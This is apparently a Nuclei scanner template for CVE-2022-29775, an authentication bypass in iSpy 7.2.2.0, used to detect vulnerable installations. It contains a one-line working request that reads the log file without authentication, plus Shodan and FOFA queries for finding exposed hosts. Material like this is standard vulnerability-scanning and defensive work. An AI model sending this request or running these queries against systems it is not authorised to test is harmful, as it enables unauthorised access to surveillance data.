id: CVE-2022-29775 info: name: iSpy 7.2.2.0 - Authentication Bypass author: arafatansari severity: critical description: | iSpy 7.2.2.0 contains an authentication bypass vulnerability. An attacker can craft a URL and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. impact: | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the system. remediation: | Upgrade to the latest version of iSpy (7.2.2.1 or higher) which includes a fix for the authentication bypass vulnerability. reference: - https://gist.github.com/securylight/79f673aa3a453c80c0e78f356a8f650b - https://github.com/securylight/CVES_write_ups/blob/main/iSpy_connect.pdf - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-29775 - https://nvd.nist.gov/vuln/detail/CVE-2022-29775 - https://github.com/securylight/CVES_write_ups classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-29775 cwe-id: CWE-287 epss-score: 0.01197 epss-percentile: 0.85119 cpe: cpe:2.3:a:ispyconnect:ispy:7.2.2.0:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: ispyconnect product: ispy shodan-query: http.html:"iSpy is running" fofa-query: body="ispy is running" tags: cve,cve2022,ispy,auth-bypass,ispyconnect http: - method: GET path: - '{{BaseURL}}/logfile?d=crossdomain.xml' matchers-condition: and matchers: - type: word part: body words: - 'Log Start' - 'Log File' - 'iSpy' condition: and - type: word part: header words: - text/html - type: status status: - 200 # digest: 4a0a00473045022100f66693ec490c67edad9951389cc345616404a66cd30fe4c01b8e6a480213c89902207884268f4572ca2d4de2cf6189f994d1592968d617e1171dd1c8390598557fe4:922c64590222798bb761d5b6d8e72950